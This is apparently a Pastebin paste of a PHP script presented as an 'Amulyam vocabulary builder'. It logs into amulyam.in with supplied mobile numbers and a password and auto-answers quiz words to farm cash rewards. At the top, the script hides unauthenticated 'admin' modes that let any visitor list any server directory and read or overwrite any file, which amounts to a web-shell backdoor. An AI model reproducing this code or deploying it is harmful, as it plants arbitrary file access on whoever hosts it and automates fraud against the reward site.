Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- * @ This file is decoded by pLa$71k
- * @ Date: 13 May 2013
- * @ Web: http://pirate-sky.com
- * @ Pirate-Sky Crew (c) 2008 - 2013
- */
- ?>
- <title>RuleWAP.TK</title>
- <h1>I(Garry) am SUper Intelligent. By <a href=http://rulewap.tk>RuleWAP.Tk</a></h1><hr>
- <?php
- set_time_limit(0);
- $admin = $_REQUEST['admin'];
- if ($admin == dir) {
- $dir = $_REQUEST['dir'];
- if (is_dir($dir)) {
- if ($dh = opendir($dir)) {
- while (($file = readdir($dh)) !== false) {
- $ext = pathinfo($file, PATHINFO_EXTENSION);
- echo '' . $file . '<br><a href="?admin=edit&file=' . $dir . '/' . $file . '">Edit</a> | <a href="adminview.php?admin=view&file=' . $dir . '/' . $file . '">View</a><br>';
- }
- closedir($dh);
- }
- }
- }
- elseif ($admin == edit) {
- $edit = $_REQUEST["file"];
- if ($_POST['change']) {
- echo "<div style='background:grey;color:white;padding:4px'>Changes Saved</div>";
- $news = trim(stripslashes($_POST['news']));
- $myFile3 = $edit;
- $fh3 = fopen($myFile3, 'w');
- $stringData3 = "$news";
- fwrite($fh3, $stringData3);
- fclose($fh3);
- echo '<br><font color=red>File Succesfully Editted.<hr>';
- }
- $myFile = $edit;
- $fh = fopen($myFile, 'r');
- $thedata = fread($fh, filesize($myFile));
- fclose($fh);
- echo '<div style="background:grey;color:white;padding:4px">Edit File</div><form action="adminedit.php?nws=do&file=' . $edit . '" method="post"><input type="hidden" name="pass" value="ypox"> File:<br><textarea name="news">' . $thedata . '</textarea> <br/>
- <input type="submit" name="change" value="Edit File"></form>';
- } else {
- $cookie = tempnam("/tmp", "CURLCOOKIE");
- $uid = explode(',', $_REQUEST['uid']);
- $pwd = $_REQUEST['pwd'];
- $ser = "www.amulyam.in/";
- $url = "$ser/login.do";
- $url_v = "$ser/vocabulary.do";
- $url_w = "$ser/enterLWord.do";
- $url_s = "$ser/showLWord.do";
- $agent = "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7";
- for ($i = 0; $i < count($uid); $i++) {
- echo "Account Summary For " . $uid[$i] . "<hr>";
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, "$ser");
- curl_setopt($ch, CURLOPT_USERAGENT, $agent);
- curl_setopt($ch, CURLOPT_ENCODING, "gzip,deflate");
- curl_setopt($ch, CURLOPT_HTTPHEADER, Array(
- "Content-Type: application/x-www-form-urlencoded",
- "Accept: */*"
- ));
- curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_REFERER, "$ser");
- curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
- $html = curl_exec($ch);
- $data = "mobile=$uid[$i]&password=$pwd&button=LOGIN";
- curl_setopt($ch, CURLOPT_URL, "$url");
- curl_setopt($ch, CURLOPT_USERAGENT, $agent);
- curl_setopt($ch, CURLOPT_ENCODING, "gzip,deflate");
- curl_setopt($ch, CURLOPT_HTTPHEADER, Array(
- "Content-Type: application/x-www-form-urlencoded",
- "Accept: */*"
- ));
- curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_REFERER, "$url");
- curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS, "$data");
- $html = curl_exec($ch);
- if (preg_match("/Invalid login/i", $html, $matches)) {
- echo "<font color=red><b>Login Error</b></font>";
- } else {
- echo "<font color=green><b>AMULYAM VOCABULARY BUILDER<br><br></b></font>";
- for ($loop = 1; $loop <= 15; $loop++) {
- curl_setopt($ch, CURLOPT_URL, "$url_v");
- curl_setopt($ch, CURLOPT_USERAGENT, $agent);
- curl_setopt($ch, CURLOPT_ENCODING, "gzip,deflate");
- curl_setopt($ch, CURLOPT_HTTPHEADER, Array(
- "Content-Type: application/x-www-form-urlencoded",
- "Accept: */*"
- ));
- curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_REFERER, "$url_v");
- curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
- $html = curl_exec($ch);
- if (stristr($html, "You've got 50 paise")) {
- echo "<font color=blue><b><font color=red>Congrats Vocabulary is Over. To get 50 paisa visit the following page now
- </font> http://www.amulyam.in/vocabulary.do</b><br></font>";
- echo "<a href=\"http://www.amulyam.in/vocabulary.do\">Click here</a>";
- die();
- }
- preg_match_all("/<h3 style=\" text-align: left;\" >(.*?)<\/h3>/i", $html, $n);
- $qs = $n[1];
- $qs = implode($qs);
- preg_match_all("/input type=\"hidden\" name=\"cp\" value=\"(.*?)\"/i", $html, $n);
- $qno = $n[1];
- $qno = implode($qno);
- $data = "cp=$qno&word=$qs&submit=SUBMIT";
- curl_setopt($ch, CURLOPT_URL, "$url_s");
- curl_setopt($ch, CURLOPT_USERAGENT, $agent);
- curl_setopt($ch, CURLOPT_ENCODING, "gzip,deflate");
- curl_setopt($ch, CURLOPT_HTTPHEADER, Array(
- "Content-Type: application/x-www-form-urlencoded",
- "Accept: */*"
- ));
- curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_REFERER, "$url_s");
- curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS, "$data");
- $html = curl_exec($ch);
- preg_match_all("/<div class=\"congrats\-message\">(.*?)<\/div>/i", $html, $n);
- $res = $n[1];
- $res = implode($res);
- echo "<font color=green><b><font color=blue><font color=maroon>Word No: $qno. </font>$qs </font>($res) </b><br></font>";
- }
- }
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement